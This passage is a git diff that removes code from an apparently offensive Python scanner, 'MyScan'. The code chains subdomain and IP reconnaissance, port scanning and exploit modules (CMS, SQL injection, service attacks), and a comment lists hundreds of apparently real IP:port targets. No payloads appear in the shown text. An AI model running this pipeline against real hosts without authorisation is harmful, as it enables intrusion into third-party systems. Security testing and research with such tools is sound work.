loop = asyncio.get_event_loop() - asyncio.set_event_loop(loop) - t = loop.create_task(friend.main()) - resList = loop.run_until_complete(t) - self.lock.acquire() - gDomainList.extend(resList) - gDomainList = list(set(gDomainList)) - self.lock.release() - - # asyncio domain2ip - def domain2ip(self): - gLogger.info("Domain2ipSpider Start") - global gDomainList - ip2domainList = [] - for subdomain in gDomainList: - ip2domainList.append({'subdomain': subdomain, 'ip': ''}) - loop = asyncio.get_event_loop() - asyncio.set_event_loop(loop) - task = resolve.bulk_query_a(ip2domainList) # 解析域名地址A记录 - resolvedomain2IpList = loop.run_until_complete(task) - for _ in resolvedomain2IpList: - self.ipList.append(_['ip']) - self.ipList = list(set(self.ipList)) - workbook = openpyxl.load_workbook(abs_path + str(self.domain) + ".xlsx") - worksheet = workbook.worksheets[4] - index = 0 - while index < len(resolvedomain2IpList): - # if self.clear_task_list[index]['subdomain'] != '': - # 只写入子域名解析出来的ip - if self.domain in resolvedomain2IpList[index]['subdomain']: - web = list() - web.append(resolvedomain2IpList[index]['subdomain']) - web.append(resolvedomain2IpList[index]['ip']) - worksheet.append(web) - index += 1 - workbook.save(abs_path + str(self.domain) + ".xlsx") - workbook.close() - - # resolve ip2domain - def ip2domain(self): - gLogger.info("Ip2domainSpider Start") - global gDomainList - self.ipList = [i for i in self.ipList if i != ''] # 清洗一遍,这里面可能存在一个'',空字符串 - loop = asyncio.get_event_loop() - asyncio.set_event_loop(loop) - ip2domainSpider = Ip2domainSpider(self.domain, self.ipList) - resList = loop.run_until_complete(ip2domainSpider.main()) - self.lock.acquire() - gDomainList.extend(resList) - gDomainList = list(set(gDomainList)) - self.lock.release() - - # port spider - # def ipPortSpider(self): - # logging.info("PortSpider Start") - # multiprocessing.freeze_support() - # temp_ips = [] # 用来记录扫描过的ip 防止多次扫描 节省时间 - # pool = multiprocessing.Pool(5) - # for aaa in self.clearTaskList: - # flag = 0 - # if aaa['target'] == 'subdomain': - # if aaa['ips'] != '': - # # 先进行遍历 验证是否重复扫描 - # for i in temp_ips: - # if aaa['ips'] == i: - # flag += 1 - # if flag == 0: - # temp_ips.append(aaa['ips']) - # # print("已经扫描过的ip有如下:", temp_ips) - # bbb = PortScan(self.domain, aaa['ips']) - # pool.apply_async(func=bbb.main) # 异步阻塞运行 - # pool.close() - # pool.join() - - def ipPortSpider(self): - gLogger.info("PortSpider Start") - global gIpPortServiceList - portscan = PortScan(self.domain, self.ipPortList) - loop = asyncio.get_event_loop() - gIpPortServiceList, httpList = loop.run_until_complete(portscan.main()) - self.lock.acquire() - gDomainList.extend(httpList) - self.lock.release() - - # 存活探测,限制并发数 - def aliveSpider(self): - def saveWebParamsList(domain, webParamsList): - workbook = openpyxl.load_workbook(abs_path + str(domain) + ".xlsx") - worksheet = workbook.worksheets[8] - index = 0 - while index < len(webParamsList): - web = list() - web.append(webParamsList[index]) - worksheet.append(web) - index += 1 - workbook.save(abs_path + str(domain) + ".xlsx") - workbook.close() - - gLogger.info("AliveSpider Start") - global gDomainList, gWebParamsList, gDomainAliveList - pbar = tqdm(total=len(gDomainList), desc='[{}]'.format('AliveSpider'), ncols=100) - aliveSpider = AliveSpider(self.domain, gDomainList, pbar) - loop = asyncio.get_event_loop() - gWebParamsList, gDomainAliveList = loop.run_until_complete(aliveSpider.main()) - saveWebParamsList(self.domain, gWebParamsList) - - # main start - def run(self): - # 整理数据,相关格式之类的整理 - def flushResult(domain): - # 第一次 清理 去域名协议 - for i in self.task_list: - if 'http' in i: - self.task_list[self.task_list.index(i)] = i.split('//')[1] - - # 第二次 清理去重 去重复值 - self.task_list = list(set(self.task_list)) - - # 第三次 可视化格式数据拼接 - # 拼接的格式如:[{"subdomain": "www.zjhu.edu.cn","ips": "1.1.1.1","port":[7777,8888],"target","yes"}] - ip_port = {} - for aa in self.task_list: - i = aa.split(':') - if ':' in aa: - if str(i[0]) in ip_port.keys(): - ip_port[str(i[0])].append(str(i[1])) - else: - ip_port[str(i[0])] = [str(i[1])] - - for aa in self.task_list: - info = dict() - # 第一种情况:子域名 非正常ip 非正常域名 - if domain in aa: - info['subdomain'] = aa - info['ip'] = '' - info['port'] = None - info['target'] = 'subdomain' # 作为子域名的一个标识符 - self.clearTaskList.append(info) - - # 第二种情况:非正常子域名 非正常ip 正常域名 - elif domain not in aa and not re.match(r'\d+.\d+.\d+:?\d?', aa): - info['subdomain'] = aa - info['ip'] = '' - info['port'] = None - info['target'] = 'webdomain' - self.clearTaskList.append(info) - - # 第三种情况:非正常子域名 非正常域名 正常ip - else: - i = aa.split(':') - if ':' in aa: - ip = i[0] - info['subdomain'] = '' - info['ip'] = ip - info['port'] = ip_port[ip] - info['target'] = 'ip' - self.clearTaskList.append(info) - else: - ip = i[0] - info['subdomain'] = '' - info['ip'] = ip - info['port'] = list() - info['target'] = 'ip' - self.clearTaskList.append(info) - - # 整理数据,去除cdn段的asn 去除cdn段的节点段 - def flushIpSegment(domain, ipList, ipSegmentList): - """ - write in 2021.11.27 12.53 @zpchcbd - dest: - 1、去除ip端为cdn节点的可能,为后面的portscan模块节省时间 - 2、如果的cdn网段的ip进行端口扫描的话是无意义的 - process: - 1、整理ipList对应存活的C段 - 2、初始化列表 - 3、开始计数 - 4、保存数据 - """ - filterIpList = [] - for ip in ipList: - flag = True - for ipSegment in FILTER_CDN_IPSEGMENT_LIST: - if ipInSubnet(ip, ipSegment): - flag = False - break - if flag: - filterIpList.append(ip) - - tempIpSegmentList = getIpSegment(filterIpList) - for ipSegment in tempIpSegmentList: - ipSegmentList.append({'ipSegment': ipSegment, 'ip': [], 'num': 0}) - - for ip in filterIpList: - for index, ipSegment in enumerate(ipSegmentList): - if ipInSubnet(ip, ipSegment['ipSegment']): - ipSegmentList[index]['num'] += 1 - ipSegmentList[index]['ip'].append(ip) - - workbook = openpyxl.load_workbook(abs_path + str(domain) + ".xlsx") - worksheet = workbook.worksheets[5] - index = 0 - while index < len(ipSegmentList): - web = list() - web.append(ipSegmentList[index]['ipSegment']) - web.append(str(ipSegmentList[index]['ip'])) - web.append(ipSegmentList[index]['num']) - worksheet.append(web) - index += 1 - workbook.save(abs_path + str(domain) + ".xlsx") - workbook.close() - - def flushAsn(domain, asnList): - filterAsnList = [] - for asn in asnList: - flag = True - for filterAsn in FILTER_CDN_ASN_LIST: - if str(asn) == str(filterAsn): - # print(filterAsn) - flag = False - break - if flag: - filterAsnList.append(asn) - workbook = openpyxl.load_workbook(abs_path + str(domain) + ".xlsx") - worksheet = workbook.worksheets[6] - index = 0 - while index < len(filterAsnList): - web = list() - web.append(filterAsnList[index]) - worksheet.append(web) - index += 1 - workbook.save(abs_path + str(domain) + ".xlsx") - workbook.close() - - # 相似度匹配 - def getSimilarityMatch(domain, domainList): - # 比如azxc.com域名 - # admin.xxx.azxc.com oka.xxx.azxc.com test.a-xwow.azxc.com test.w-xwow.azxc.com - # 其中 admin.ds.azxc.com oka.da.azxc.com 和 test.a-xwow.azxc.com test.w-xwow.azxc.com 这两对就是匹配的 - # 结果为如下: - # generate admin.FUZZ.azxc.com - # test.FUZZ-xwow.azxc.com - gLogger.info("DomainSimilarityMatch start") - resList = [] - newDomainList = [i for i in domainList if domain in i] - domainIndex = 0 - while domainIndex < len(newDomainList): - current = newDomainList[domainIndex] - goodIndexList = DifferentChecker.getCloseMatchIndex(current, newDomainList, n=10000, cutoff=0.8) - currentResultList = [] - for index in reversed(sorted(goodIndexList)): - currentResultList.append(newDomainList[index]) - # if current in domainList[index]: - del newDomainList[index] - resList.append(currentResultList) - domainIndex += 1 - workbook = openpyxl.load_workbook(abs_path + str(domain) + ".xlsx") - worksheet = workbook.worksheets[16] - index = 0 - while index < len(resList): - web = list() - web.append(str(resList[index])) - worksheet.append(web) - index += 1 - workbook.save(abs_path + str(domain) + ".xlsx") - workbook.close() - - global gDomainList, gDomainAliveList, gIpPortServiceList, gWebParamsList - - # 0、备案查询 - self.beianSpider() - - # 2、大师兄ske用的ksubdomain 自己后面跟着一起 - # 这里进行单一的查询,要不然直接导致带宽不够直接造成其他模块的无法使用 - # dnsbrute_list = subDomaindBrute(self.domain).main() - # self.lock.acquire() - # self.task_list.extend(dnsbrute_list) - # self.lock.release() - # self.ksubdomainSpider() - - # 3、第三方接口查询 - self.thirdSpider() - - # 4、SSL/engine/netSpace/github查询 - self.threadList.append(Thread(target=self.baiduSpider, )) - self.threadList.append(Thread(target=self.bingSpider, )) - self.threadList.append(Thread(target=self.ctfrSpider, )) - self.threadList.append(Thread(target=self.githubSpider, )) - for _ in self.threadList: - _.start() - for _ in self.threadList: - _.join() - - # 5、netSpace - self.netSpider() - - # 6、清洗整理数据 - # self.flushResult() - - # 7、友链爬取 - self.friendChainsSpider() - - # 8、domain2ip - self.domain2ip() - - # 9、ip2domain - self.ip2domain() - - # 10、sslSpider @keefe @行牛 @ske 2021.09.01 SSL - # self.sslSpider() - - # 11、alive - self.aliveSpider() - - # 12、asn和ip段整理 filter - flushIpSegment(self.domain, self.ipList, self.ipSegmentList) - flushAsn(self.domain, self.asnList) - - # 13、port scan in self.ipPortList - # print('portConfig: ', portConfig) - portConfig = GlobalVariableManager.getValue('portConfig') - PortWrapper.generatePorts(portConfig, self.ipPortList) - self.ipPortSpider() - - # 14、去重子域名 - gDomainList = list(set(gDomainList)) - - # 15、可探测FUZZ收集 - getSimilarityMatch(self.domain, gDomainList) - - print('==========================') - gLogger.info('[+] [AsnList] [{}] {}'.format(len(self.asnList), self.asnList)) - print('==========================') - gLogger.info('[+] [IpList] [{}] {}'.format(len(self.ipList), self.ipList)) - print('==========================') - gLogger.info('[+] [IpSegmentList] [{}] {}'.format(len(self.ipSegmentList), self.ipSegmentList)) - print('==========================') - gLogger.info('[+] [IpPortList] [{}] {}'.format(len(self.ipPortList), self.ipPortList)) - print('==========================') - gLogger.info( - '[+] [JavaScriptParamsList] [{}] {}'.format(len(self.javaScriptParamList), self.javaScriptParamList)) - print('==========================') - gLogger.info('[+] [gWebParamsList] [{}] {}'.format(len(gWebParamsList), gWebParamsList)) - print('==========================') - gLogger.info('[+] [gIpPortServiceList] [{}] {}'.format(len(gIpPortServiceList), gIpPortServiceList)) - print('==========================') - gLogger.info('[+] [gDomainList] [{}] {}'.format(len(gDomainList), gDomainList)) - print('==========================') - gLogger.info('[+] [gDomainAliveList] [{}] {}'.format(len(gDomainAliveList), gDomainAliveList)) - - -# Exploit -class Exploit(object): - def __init__(self, domain): - self.threadList = [] - self.domain = domain - - def AliveScan(self): - pass - # AliveScan(self.domain, self.domainList).main() - - def UnauthPortScan(self): - pass - # global gDomainList - # # [{"subdomain": "www.zjhu.edu.cn","ip": "1.1.1.1","port":[7777,8888]}] - # queue = asyncio.Queue(-1) - # for aTask in gDomainList: - # aIp = aTask.get('ip') - # aPortList = aTask.get('port') - # for port in aPortList: - # queue.put("{}:{}".format(aIp, port)) # IP+端口, 接下里就是异步socket探测banner来进行相关利用即可. - # IpUnauth(self.domain, queue).main() - - def unauthLeakHttpScan(self): - pass - # HttpUnauth(self.domain, self.domainList).main() - - def jsExploit(self): - # SqlScan(self.domain, self.clear_task_list).main() - pass - - # 基于网站参数的漏扫 - def sqlExploit(self, webParamsList): - gLogger.info('SqlScan Start') - sqlScan = SqlScan(self.domain, webParamsList) - loop = asyncio.get_event_loop() - loop.run_until_complete(sqlScan.main()) - # queue = asyncio.Queue(-1) - # for aTask in webParamsList: - # pass - # queue.put("{}:{}".format(aIp, port)) # IP+端口, 接下里就是异步socket探测banner来进行相关利用即可. - # IpUnauth(self.domain, queue).main() - - # 基于网站框架的漏扫 - def webExploit(self, domainList): - gLogger.info('CmsScan Start') - moduleLoader = ModuleLoader('exploit') - moduleList = moduleLoader.moduleLoad(moduleType='exploit') - cmsScan = CmsScan(self.domain, domainList, moduleList) - loop = asyncio.get_event_loop() - loop.run_until_complete(cmsScan.main()) - - # queue = asyncio.Queue(-1) - # for aTask in self.domainList: - # aIp = aTask.get('ip') - # aPortList = aTask.get('port') - # for port in aPortList: - # queue.put("{}:{}".format(aIp, port)) # IP+端口, 接下里就是异步socket探测banner来进行相关利用即可. - # IpUnauth(self.domain, queue).main() - - # 基于端口服务的漏扫 - def serviceExploit(self, ipPortServiceList): - gLogger.info('ServiceScan Start') - total = 0 - for targetService in ipPortServiceList: - total += len(targetService['ip']) - pbar = tqdm(total=total, desc="ServiceScan", ncols=100) # total是总数 - servicescan = PortServiceScan(self.domain, ipPortServiceList, pbar) - loop = asyncio.get_event_loop() - loop.run_until_complete(servicescan.main()) - - def run(self): - global gDomainAliveList, gIpPortServiceList, gWebParamsList - # webExp - self.webExploit(gDomainAliveList) - self.serviceExploit(gIpPortServiceList) - self.sqlExploit(gWebParamsList) - - # serviceExp - # self.serviceExploit() - # sqlExp - # self.sqlExploit() - - # for i in self.threadList: - # i.start() - # - # for i in self.threadList: - # i.join() - - -class ShellExploit: - """ - 一个新想法,待定吧 @zpchcbd write in 2021.11.27 23.13 - """ - - -def globalVariableInit(): - GlobalVariableManager.init() - GlobalVariableManager.setValue("remainModuleList", []) - - -def getVersion(): - return 'Myscan Tool\'s version is 2.0 - HengGe' - - -def parse_args(): - parser = argparse.ArgumentParser(prog='MyScan', description='The tool is beneficial to attack web/service') - parser.add_argument('-u', '--url', type=str, help='a url. for example: -u zjhu.edu.cn') - parser.add_argument('-d', '--domain', type=str, help='Target domain. for example: -d zjhu.edu.cn') - parser.add_argument('-cn', '--company', type=str, help='Target company. for example: -cn 横戈安全有限公司') - parser.add_argument('-i', '--ips', type=str, - help='Target ip. for example: -i 192.168.1.1-192.168.1.127,192.168.3.1-192.168.3.255 | 192.168.1.0/24,192.168.3.0/24 | 192.168.1.1,192.168.1.2') - parser.add_argument('-p', '--port', type=str, default='top100', - help='Every Ip port, default top100, for example: -p top100') - parser.add_argument('-m', '--module', type=str, - help='Load/Show Payload Module(exploit/third/all),example: -m exploit') - parser.add_argument('-f', '--file', type=str, help='a file') - parser.add_argument('-fs', '--fofa', type=str, help='fofa scan title. for example: -fs "domain=\"zjhu.edu.cn\"') - parser.add_argument('-x', '--proxy', help='for example: -x 127.0.0.1:7890') - parser.add_argument('-k', '--ksub', action='store_true', help='for example: -k') - parser.add_argument('-ss', '--serviceScan', action='store_true', help='for service scan.') - parser.add_argument('-cs', '--cmsScan', action='store_true', help='for cms scan.') - parser.add_argument('-v', '--version', action='version', version=getVersion(), help='Display version') - # parser.add_argument('-f', '--file', type=str, help='file') - return parser.parse_args() - + exit("[-] Incompatible Python version detected ('%s'). For successfully running program you'll have to use version 3 (visit 'http://www.python.org/download/')" % version) if __name__ == '__main__': - print('[+] Welcome From HengGe\'s Team ^.^') - globalVariableInit() - starttime = time.time() - args = parse_args() - if args.domain: - if args.company: - companySpider = CompanyStructSpider(args.domain, args.company) - loop = asyncio.get_event_loop() - loop.run_until_complete(companySpider.main()) - print("[+] 总花费时间: " + str(time.time() - starttime)) - exit(0) - if not os.path.exists(abs_path + args.domain + ".xlsx"): - if args.port: - GlobalVariableManager.setValue('portConfig', args.port) - createXlsx(args.domain) - spider = Spider(args.domain) - spider.run() - exploit = Exploit(args.domain) - exploit.run() - print("[+] 总花费时间: " + str(time.time() - starttime)) - exit(0) - else: - exit('[-] 文件名{}已存在,如果要运行的话需要将该文件{}.xlsx改名或者删除.'.format(args.domain, args.domain)) - if args.cmsScan: - fileName = str(int(time.time())) - createXlsx(fileName) - if args.url: - moduleLoader = ModuleLoader('exploit') - if args.module is None: - print('[+] load all module') - moduleList = moduleLoader.moduleLoad(moduleType='exploit') - currentModuleList = GlobalVariableManager.getValue("remainModuleList") - for _ in currentModuleList: - print(_) - # exit(0) - else: - print('[+] load module -> {}'.format(args.module.split(','))) - modulenameList = args.module.split(',') - if len(modulenameList) == 1: - moduleList = moduleLoader.moduleLoad(moduleType='exploit', moduleObject=args.module) - else: - moduleList = moduleLoader.moduleLoad(moduleType='exploit', moduleObject=modulenameList) - if not moduleList: - exit(0) - loop = asyncio.get_event_loop() - domainList = [args.url] - cmsScan = CmsScan(fileName, domainList, moduleList) - loop.run_until_complete(cmsScan.main()) - print("[+] 总花费时间: " + str(time.time() - starttime)) - exit(0) - if args.fofa: - moduleLoader = ModuleLoader('exploit') - if args.module is None: - print('[+] load all module') - moduleList = moduleLoader.moduleLoad(moduleType='exploit') - else: - print('[+] load module -> {}'.format(args.module.split(','))) - modulenameList = args.module.split(',') - if len(modulenameList) == 1: - moduleList = moduleLoader.moduleLoad(moduleType='exploit', moduleObject=args.module) - else: - moduleList = moduleLoader.moduleLoad(moduleType='exploit', moduleObject=modulenameList) - if not moduleList: - exit(0) - try: - from core.api import MyNetApi - # from core.api import MyNetApi.MyNetApi.fofaSearch() - except ImportError: - exit('[-] Import Error from core.api import MyNetApi error') - loop = asyncio.get_event_loop() - domainList = loop.run_until_complete(MyNetApi.fofaSearch(args.fofa)) - cmsScan = CmsScan(fileName, domainList, moduleList) - loop.run_until_complete(cmsScan.main()) - print("[+] 总花费时间: " + str(time.time() - starttime)) - exit(0) - # servicescan + portscan - if args.serviceScan: - fileName = str(int(time.time())) - createXlsx(fileName) - if args.ips: - ipPortList = PortWrapper.generateFormat(args.ips) - PortWrapper.generatePorts(args.port, ipPortList) - portscan = PortScan(fileName, ipPortList) - loop = asyncio.get_event_loop() - ipPortServiceList, httpList = loop.run_until_complete(portscan.main()) - total = 0 - for targetService in ipPortServiceList: - total += len(targetService['ip']) - pbar = tqdm(total=total, desc="ServiceScan", ncols=100) # total是总数 - servicescan = PortServiceScan(fileName, ipPortServiceList, pbar) - loop = asyncio.get_event_loop() - loop.run_until_complete(servicescan.main()) - print("[+] 总花费时间: " + str(time.time() - starttime)) - exit(0) - else: - exit('[-] 输入要进行服务扫描的IP') - # 单独端口扫描选择 - if args.ips: - fileName = str(int(time.time())) - createXlsx(fileName) - # 生成ipPortList格式 - ipPortList = PortWrapper.generateFormat(args.ips) - # 对ipPortList中的ip进行对应的端口填充 - PortWrapper.generatePorts(args.port, ipPortList) - portscan = PortScan(fileName, ipPortList) - loop = asyncio.get_event_loop() - ipPortServiceList, httpList = loop.run_until_complete(portscan.main()) - print("==================Service==================") - gLogger.info(ipPortServiceList) - print("===================HTTP===================") - gLogger.info(httpList) - print("[+] 总花费时间: " + str(time.time() - starttime)) - exit(0) - if args.module: - ModuleManager.showModule(args.module) - # cmsScan = CmsScan('result.com', domainList, moduleList) - exit(0) - # if domain and module is None: - # if not os.path.exists(abs_path + domain + ".xlsx"): - # createXlsx(args.domain) - # spider = Spider(args.domain) - # domainList, ipPortServiceList, webParamsList = spider.run() - # # exploit = Exploit(args.domain, domainList, ipPortServiceList, webParamsList) - # # exploit.run() - # else: - # exit('文件{}.xlsx已存在,如果要运行的话需要将该文件{}.xlsx改名或者删除.'.format(args.domain, args.domain)) - # elif module and domain is None: - # ModuleLoader.showModule(module) - # elif domain is not None and module is not None: - # print(domain, module) - - # print(globals()) - # # g_portregisterType = args. - # if args.domain: - # if not os.path.exists(abs_path + args.domain + ".xlsx"): - # createXlsx(args.domain) - # spider = Spider(args.domain) - # domainList, ipPortServiceList, webParamsList = spider.run() - # exploit = Exploit(args.domain, domainList, ipPortServiceList, webParamsList) - # exploit.run() - # else: - # print('文件{}.xlsx已存在,如果要运行的话需要将该文件{}.xlsx改名或者删除.'.format(args.domain, args.domain)) - - # record test something , for example Exploit Module - # domainList, ipPortServiceList, webParamsList = ['61.189.45.122:8080', '218.86.35.162:8081', '220.163.130.150:88', '218.247.22.126:8080', '116.24.102.179:88', '222.88.105.19:443', '62.234.128.52:9001', '60.10.197.58:8181', '122.227.172.118:443', '60.247.78.102:443', '60.12.210.108:443', '59.120.193.242', '222.66.40.18:443', '47.100.207.131:8080', '218.32.202.243', '211.20.130.93:443', '211.21.133.102:443', '125.227.194.149', '1.34.121.139', '111.7.82.30', '47.95.241.106:8080', '221.176.253.229', '61.178.243.56:1080', '62.234.128.52:9002', '220.130.178.183:8080', '220.130.178.183', '218.32.202.243:8080', '60.248.32.155:443', '60.251.22.220:443', '211.20.130.93', '222.66.40.20:443', '106.14.170.151:443', '59.120.193.242:443', '61.219.197.219', '220.135.17.43', '61.178.55.205:443', '27.223.15.116:8081', '116.24.101.179:88', '202.110.190.163', '222.175.7.225:443', '58.221.135.158:88', '219.87.163.219:8080', '1.85.53.170:8081', '125.45.237.208:18080', '222.180.68.39:443', '119.39.5.251:443', '122.227.172.118:82', '222.180.68.39:8081', 'v2.amassvip.com:18080', '113.70.57.189:6666', '123.127.61.175:8081', '222.175.7.225:8082', '106.37.229.62:8080', 'https://221.215.1.134', '222.184.102.46:8001', '182.92.211.196:8080', '60.205.143.140:443', '49.5.12.140:443', '119.136.19.252:88', '61.30.98.100:8080', '182.106.236.228:8081', '218.4.66.139:8080', '218.245.1.8', '222.168.37.70:443', 'www.crownpo.com', '222.180.68.39:8084', '116.24.103.42:88', '115.159.46.127:8080', '119.136.19.254:88', '58.213.46.154:18080', '1.202.137.77:8000', '183.247.173.122:8082', '60.191.118.211:8080', '220.231.134.114:8888', '211.72.53.141', '218.86.35.162:81', '221.229.247.188:8080', '106.14.170.151:8080', '120.221.150.9:8081', '111.47.28.113:9090', '221.214.10.132:8088', '117.141.32.79:8081', '218.245.1.8:443', '123.127.61.175:9000', '58.213.109.125:8880', '58.213.109.123:8888', '218.240.147.175:8080', '112.125.88.205:8080', '124.167.244.118', '60.250.128.205:8080', '123.232.116.55:8080', '61.130.100.220', '61.222.32.214:8080', '60.211.185.198:8080', '211.72.53.141:8080', '58.208.60.166:8080', '58.56.96.181:18080', '220.178.74.178:8080', '183.136.222.90:8080', '58.218.199.15:8080', '221.226.215.108:18080', '122.227.172.118:8082', '222.76.213.236:8080', '222.76.213.236:8000', '218.65.236.14:8088', '124.115.214.85:18000', '115.159.46.127:8443', '60.247.78.102:8080', '61.157.184.136:8080', '183.62.203.115:8080', '47.92.253.130:8088', '61.144.203.36:88', '182.106.236.228:81', '112.125.88.205', '111.207.218.6:8080', '60.208.61.36:8443', '222.92.143.50:8081', '1.34.121.139:8080', '116.247.103.211:8080', '124.130.131.92:443', '110.86.4.118:8888', '60.251.22.220:8080', '58.213.109.125:8888', '220.231.134.114:443', '122.228.226.68:8080', '115.57.0.14:443', '220.246.55.241', '58.221.172.61:18181', '211.20.130.93:8080', '47.101.59.86:8080', '61.139.77.80:8080', '218.88.150.167', '221.226.253.38:18080', '210.61.217.109:8080', '60.216.53.165:8081', '121.40.195.34:8082', '47.100.212.202', '61.178.55.205:8080', '27.154.239.154:8888', '139.196.27.79:8080', '124.67.165.199:2002', '113.128.218.221:8081', '139.196.27.79', '58.56.103.106:9090', '47.100.212.202:8080', '219.148.50.35:8443', '222.180.68.39:8086', '222.180.68.39:8087', '59.120.193.242:8080', '125.46.31.44:18080', '58.59.48.150:8081', '221.214.10.132:8081', '218.3.161.2:8080', '49.5.12.140:8080', '122.224.110.54:18080', '61.175.247.254:18080', '111.11.148.41', '113.128.218.220:8443', '218.22.207.110:18080', '61.185.105.162:8081', '220.246.55.241:8080', '61.185.18.36:8080', '61.219.197.219:8080', '183.62.157.67:8080', '60.30.137.38:8888', '123.151.172.130:88', '58.246.67.38:8080', '58.22.29.148:18080', '118.31.3.77:8080', '220.246.55.241:443', '58.250.41.20:8081', '47.96.28.132:443', '119.39.5.251:9090', '123.138.108.133:443', '59.125.177.169', '47.100.207.131', '47.101.59.86', '210.21.36.142:8080', '1.202.30.86', '219.87.163.219', '60.248.32.155', '61.185.18.36', '218.29.110.28:443', '61.178.55.205', '61.30.98.100', '122.224.110.54', '39.105.1.174', '221.238.47.226:443', '39.104.24.138:8082', '125.227.194.149:8080', '220.135.17.43:8080', '119.3.178.106:8080', '118.122.120.4:9999', '222.88.105.19:18080', '222.180.68.39:8099', '59.125.177.169:8080', '113.70.59.152:6666', '117.67.159.203:9999', '58.250.41.14:8081', '218.63.200.3:8081', '47.92.73.254:8080', '111.207.115.226:8000', '58.56.103.106:9999', '111.207.218.6', '47.96.28.132:8090', '117.67.223.11:9999', '120.101.196.4:8080', '112.2.58.229:81', '36.110.90.6:8000', '219.148.50.35:8002', '60.208.61.36:18080', '39.104.24.138:443', '222.73.197.21:8080', '1.202.137.77:8080', '60.191.185.86:8080', '123.233.120.138:18080', '111.11.148.41:443', '154.92.14.206', '218.247.22.126', '220.162.157.182:86', '106.46.77.61:8888', '60.208.61.35:18080', '221.229.247.188', '222.184.102.46:8002', '115.57.0.14:9090', '218.63.200.3:3000', '222.180.68.39:5222', '120.209.186.106:18080', '116.247.103.211', '60.13.3.24:8080', '59.56.54.41:8888', '117.68.254.233:9999', '222.88.105.19:8080', '218.29.12.202:18080', '123.232.116.55:443', '61.142.246.118:18080', '118.31.3.77:443', '110.86.4.118:8443', '124.88.160.66:8888', '60.13.183.172:8090', '120.36.155.52', '123.151.172.130:8888', '220.167.54.10:8888', '60.216.101.147:8081', '113.196.136.196:443', '221.176.253.229:8080', '58.56.96.181:443', '60.191.118.211:443', '219.233.192.161:443', '118.122.120.4:9090', '111.207.218.6:443', '220.130.178.183:443', '58.246.6.117:85', '115.57.0.14:9999', '39.105.1.174:444', '125.46.31.44:443', '203.86.8.155:18080', '61.156.217.52:18080', '218.3.95.121:88', '222.180.1.42:88', '116.247.122.18:8080', '154.92.14.206:8080', '218.65.236.14:18080', '47.95.241.106', '220.231.134.114:8080', '203.86.8.155:443', '113.128.218.221:8443', '58.213.159.156:83', '222.190.116.172:8888', '222.135.186.250:9090', '183.224.118.165:8081', '180.140.243.207:18080', '60.208.61.35:8443', '59.110.159.144:30001', '113.70.56.55:7777', '59.56.54.227:8888', '60.247.78.102', '183.203.222.141:443', '47.95.241.106:443'], [], [] - # exploit = Exploit('zjhu.edu.cn', domainList, ipPortServiceList, webParamsList) - # exploit.run() + start_time = time.time() + parser = parser_init() + path_dict.ROOT_PATH = os.getcwd() + os.path.sep + path_init() + config_init() + global_variable_init() + start(parser) diff --git a/common/Crawl.py b/common/Crawl.py deleted file mode 100644 index 93c2a30..0000000 --- a/common/Crawl.py +++ /dev/null @@ -1,6 +0,0 @@ -# coding=utf-8 -# @Author : zpchcbd HG team -# @Time : 2021-09-06 22:14 - -class Crawl(object): - pass \ No newline at end of file diff --git a/common/crawl.py b/common/crawl.py deleted file mode 100644 index 93c2a30..0000000 --- a/common/crawl.py +++ /dev/null @@ -1,6 +0,0 @@ -# coding=utf-8 -# @Author : zpchcbd HG team -# @Time : 2021-09-06 22:14 - -class Crawl(object): - pass \ No newline at end of file diff --git a/common/resolve.py b/common/resolve.py deleted file mode 100644 index 92e5f78..0000000 --- a/common/resolve.py +++ /dev/null @@ -1,92 +0,0 @@ -# coding=utf-8 -import asyncio -import functools -import dns.resolver -import aiodns -import sys -from common.tools import * - -if sys.platform == 'win32': - asyncio.set_event_loop_policy(asyncio.WindowsSelectorEventLoopPolicy()) - -# DNS解析设置 -resolver_nameservers = ['114.114.114.114', '114.114.115.115'] - -# 指定查询的DNS域名服务器 - -resolver_timeout = 5.0 # 解析超时时间 -resolver_lifetime = 30.0 # 解析存活时间 -limit_resolve_conn = 100 - - -def dns_resolver(): - resolver = dns.resolver.Resolver() - resolver.nameservers = resolver_nameservers - resolver.timeout = resolver_timeout - resolver.lifetime = resolver_lifetime - return resolver - - -def dns_query_a(hostname): - resolver = dns_resolver() - return resolver.query(hostname, 'A') - - -def aiodns_resolver(): - return aiodns.DNSResolver(nameservers=resolver_nameservers, - timeout=resolver_timeout) - - -async def aiodns_query_a(hostname, semaphore=None): - if semaphore is None: - resolver = aiodns_resolver() - answers = await resolver.query(hostname, 'A') - return hostname, answers - else: - async with semaphore: - resolver = aiodns_resolver() - answers = await resolver.query(hostname, 'A') - return hostname, answers - - -def resolve_callback(future, index, datas): - try: - result = future.result() - except Exception as e: - datas[index]['ip'] = '' # 解析错误会默认返回空, 获取报错信息str(e.args) - else: - if isinstance(result, tuple): - _, answers = result - if answers: - ips = answers[0].host # 这里解析到的ip就拿一个 - datas[index]['ip'] = str(ips) - # else: - # datas[index]['ip'] = 'No answers' - - -async def bulk_query_a(datas): - tasks = [] - semaphore = asyncio.Semaphore(limit_resolve_conn) - for i, data in enumerate(datas): - if not data.get('ip'): - subdomain = data.get('subdomain') - task = asyncio.ensure_future(aiodns_query_a(subdomain, semaphore)) - task.add_done_callback(functools.partial(resolve_callback, index=i, datas=datas)) # 回调 - tasks.append(task) - if tasks: # 任务列表里有任务不空时才进行解析 - await asyncio.wait(tasks) # 等待所有task完成 - return getUniqueList(datas) - - -if __name__ == '__main__': - domainList = ['120.79.66.58', 'www.zjhu.edu.cn', 'www.zjhu.edu.cn'] - ip2domainList = [] - for i in domainList: - aDict = {'subdomain': i, 'ip': ''} - ip2domainList.append(aDict) - - loop = asyncio.get_event_loop() - asyncio.set_event_loop(loop) - task = bulk_query_a(ip2domainList) # 解析域名地址A记录 - t = loop.run_until_complete(task) - print(t) diff --git a/common/resolve2.py b/common/resolve2.py deleted file mode 100644 index 015c3ac..0000000 --- a/common/resolve2.py +++ /dev/null @@ -1,142 +0,0 @@ -# coding=utf-8 -import asyncio -import functools -import dns.resolver -import aiodns -import sys - -if sys.platform == 'win32': - asyncio.set_event_loop_policy(asyncio.WindowsSelectorEventLoopPolicy()) - -# DNS解析设置 -resolver_nameservers = ['114.114.114.114', '114.114.115.115'] - -# 指定查询的DNS域名服务器 - -resolver_timeout = 5.0 # 解析超时时间 -resolver_lifetime = 30.0 # 解析存活时间 -limit_resolve_conn = 50 - -gIpList = [] - - -def dns_resolver(): - """ - dns解析器 - """ - resolver = dns.resolver.Resolver() - resolver.nameservers = resolver_nameservers - resolver.timeout = resolver_timeout - resolver.lifetime = resolver_lifetime - return resolver - - -def dns_query_a(hostname): - """ - 